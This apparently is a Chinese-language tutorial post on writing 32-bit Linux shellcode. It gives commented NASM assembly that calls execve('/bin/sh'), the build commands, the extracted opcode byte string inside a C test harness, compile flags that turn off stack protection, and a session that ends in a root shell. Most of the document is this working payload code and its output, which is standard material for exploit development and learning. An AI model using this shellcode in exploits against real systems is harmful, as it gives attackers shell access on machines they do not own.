Section .text

  global _start

_start:

  jmp short     callShellcode

shellcode:

  pop           esi				//将’/bin/sh’从栈中取出，放到esi里
  xor           eax, eax			//eax置为NULL
  mov byte      [esi + 7], al		//因为eax置空了，所以用al里的NULL来结束’/bin/sh’字符串
  lea           ebx, [esi]			//将’/bin/sh’字符串放入ebx中
  mov long      [esi + 8], ebx		
  lea           ecx, [esi + 8]		//这两步是把argv数组写入了ecx，如果没有这两步，就算程序获得了root权限，也不能执行命令，不信可以去掉试试
  mov long      [esi + 12], eax
  lea           edx, [esi + 12]		//这两步是把eax中的NULL写入了edx，得到root权限后执行的命令需要有NULL来结束（因为命令也算是字符串）
  mov byte      al, 0x0b			//最后这一步是执行execve，0x0b=11，是execve的系统调用号（可查）
  int           0x80				//最后必须用0x80结尾

callShellcode:

  Call          shellcode
  db            '/bin/sh'

 nasm  –f elf shellx.asm
 ld  –o shellx shellx.o  –m elf_i386

这里会得到一个shellx文件，但还不能执行，需要用objdump命令把十六进制代码取出，我写了个bash脚本，内容如下

还需要写一个c程序来验证之前写的汇编代码是否有效，代码如下

Char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char **argv)
{
		int (*func)();
		func = (int (*)()) code;		//把code强转为返回值为int的函数指针，然后调用
		(int)(*func)();
}

编译时需要注意之前写的汇编是针对32位程序的，程序的保护也需要去掉，编译命令如下

gcc -g -o shellcodetest shellcodetest.c -m32 -z execstack

root@gavin:/home/gavin/shellCode_train# ./shellcodetest
# ls
exit.asm	 hello	    shellcodetest    shellx.asm
exit.o		 hello.asm  shellcodetest.c  shellx.o
getshellcode.sh  hello.o    shellx
# whoami
root
#